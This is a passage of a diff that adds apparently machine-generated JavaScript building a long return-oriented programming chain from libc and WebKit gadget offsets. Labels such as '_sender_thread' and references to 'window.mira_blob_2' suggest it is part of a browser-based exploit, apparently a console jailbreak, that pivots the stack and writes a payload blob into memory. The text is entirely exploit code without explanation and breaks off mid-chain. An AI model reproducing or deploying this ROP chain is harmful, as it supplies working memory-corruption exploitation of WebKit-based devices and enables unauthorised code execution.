+libc_base+713278, //pop rsi +ropchain+169640, //L2504 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+169608, //L2502 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+169624, //L2503 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2501: +db([32, 0]); // 0x20 +set_gadget(libc_base+165442,); //pop rdi +//L2502: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2503: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2504: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+169760, //L2505 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+169792, //L2507 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+169776, //L2506 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2505: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2506: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2507: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+169896, //L2508 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+169912, //L2509 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L2508: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2509: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+170032, //L2510 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+170016, //L2511 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2511: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L2510: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+713278, //pop rsi +ropchain+170120, //L2513 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+170104, //L2512 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2512: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2513: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+170224, //L2514 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+170240, //L2515 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L2514: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2515: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+170360, //L2516 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+170344, //L2517 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2517: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L2516: +db([0, 0]); // 0x0 +//___bswap16_var: +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+170432, //L2519 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L2519: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+170544, //L2521 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+170560, //L2522 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +//L2520: +db([16, 0]); // 0x10 +set_gadget(webkit_base+1420514,); //pop r8 +//L2521: +db([0, 0]); // 0x0 +set_gadget(libc_base+772328,); //pop rcx +//L2522: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+170664, //L2525 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+170648, //L2524 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2524: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2525: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+229840, //mov ax, [rdi] +libc_base+713278, //pop rsi +ropchain+170824, //L2530 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+170792, //L2528 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+170808, //L2529 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2527: +db([16, 0]); // 0x10 +set_gadget(libc_base+165442,); //pop rdi +//L2528: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2529: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2530: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+170880, //L2531 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L2531: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+171008, //L2534 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+171024, //L2535 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+170992, //L2533 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2533: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2534: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2535: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+171184, //L2539 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+171152, //L2537 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+171168, //L2538 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2536: +db([48, 0]); // 0x30 +set_gadget(libc_base+165442,); //pop rdi +//L2537: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2538: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2539: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+171288, //L2541 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+171272, //L2540 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2540: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2541: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+772328 //pop rcx +]); +//L2542: +db([8, 0]); // 0x8 +set_gadget(libc_base+768796,); //pop rax +//L2543: +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+171496, //L2546 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+171480, //L2545 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2544: +db([48, 0]); // 0x30 +set_gadget(webkit_base+3789839,); //pop r11 +//L2545: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2546: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+171600, //L2548 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+171584, //L2547 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2547: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2548: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+171696, //L2550 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2549: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L2550: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+171800, //L2553 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+171784, //L2552 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2552: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2553: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+229840, //mov ax, [rdi] +libc_base+713278, //pop rsi +ropchain+171960, //L2558 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+171928, //L2556 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+171944, //L2557 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2555: +db([16, 0]); // 0x10 +set_gadget(libc_base+165442,); //pop rdi +//L2556: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2557: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2558: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+172016, //L2559 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L2559: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+172144, //L2562 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+172160, //L2563 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+172128, //L2561 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2561: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2562: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2563: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+172320, //L2567 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+172288, //L2565 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+172304, //L2566 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2564: +db([48, 0]); // 0x30 +set_gadget(libc_base+165442,); //pop rdi +//L2565: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2566: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2567: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+172424, //L2569 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+172408, //L2568 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2568: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2569: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+772328 //pop rcx +]); +//L2570: +db([8, 0]); // 0x8 +set_gadget(libc_base+768796,); //pop rax +//L2571: +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+172624, //L2574 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+172608, //L2573 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2572: +db([32, 0]); // 0x20 +set_gadget(webkit_base+3789839,); //pop r11 +//L2573: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2574: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+172728, //L2576 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+172712, //L2575 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2575: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2576: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+172840, //L2579 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+172824, //L2578 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2577: +db([48, 0]); // 0x30 +set_gadget(webkit_base+3789839,); //pop r11 +//L2578: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2579: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+172904, //L2580 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+772328 //pop rcx +]); +//L2580: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+172960, //L2582 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2582: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+72932, //or rax, rcx +libc_base+713278, //pop rsi +ropchain+173096, //L2584 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+173128, //L2586 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+173112, //L2585 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2584: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2585: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2586: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+173288, //L2590 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+173256, //L2588 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+173272, //L2589 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2587: +db([48, 0]); // 0x30 +set_gadget(libc_base+165442,); //pop rdi +//L2588: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2589: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2590: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+173408, //L2591 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+173440, //L2593 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+173424, //L2592 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2591: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2592: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2593: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+173544, //L2594 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+173560, //L2595 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L2594: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2595: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+173680, //L2596 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+173664, //L2597 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2597: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L2596: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+713278, //pop rsi +ropchain+173768, //L2599 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+173752, //L2598 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2598: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2599: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+173872, //L2600 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+173888, //L2601 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L2600: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2601: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+174008, //L2602 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+173992, //L2603 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2603: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L2602: +db([0, 0]); // 0x0 +//_sender_thread: +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+174080, //L2605 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L2605: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+174144, //L2606 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L2606: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2608: +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+772328, //pop rcx +//L2609: +(window.mira_blob_2||0), +libc_base+507828, //add rax, rsi +webkit_base+2989859, //mov [rax], rcx +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2611: +db([4294967284, 4294967295]); // -0xc +set_gadgets([ +libc_base+772328, //pop rcx +//L2612: +(window.mira_blob_2_len||0), +libc_base+507828, //add rax, rsi +webkit_base+972324, //mov [rax], ecx +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2614: +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+174408, //L2617 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+174392, //L2616 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2616: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2617: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+174568, //L2622 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+174536, //L2620 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+174552, //L2621 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L2619: +db([0, 0]); // 0x0 +set_gadget(libc_base+772328,); //pop rcx +//L2620: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2621: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2622: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+11809960, //cmp rax, rsi ; sete al +libc_base+232261, //movzx eax, al +libc_base+713278, //pop rsi +ropchain+174688, //L2623 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+174720, //L2625 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+174704, //L2624 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2623: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2624: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2625: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+174864, //L2629 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+174880, //L2630 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+174848, //L2628 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L2627: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2628: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2629: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2630: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+11809960, //cmp rax, rsi ; sete al +libc_base+232261, //movzx eax, al +webkit_base+426067, //shl rax, 3 +libc_base+713278, //pop rsi +ropchain+174992, //L2631+8 +libc_base+507828, //add rax, rsi +libc_base+145226, //mov rax, [rax] +libc_base+713278, //pop rsi +ropchain+174984, //L2631 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+489696 //pop rsp +]); +//L2631: +db([0, 0]); // 0x0 +set_gadgets([ +ropchain+175008, //L2631+24 +ropchain+175328, //L2626 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+175064, //L2633 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2632: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2633: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2634: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+175184, //L2635 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+175200, //L2636 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L2635: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2636: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // 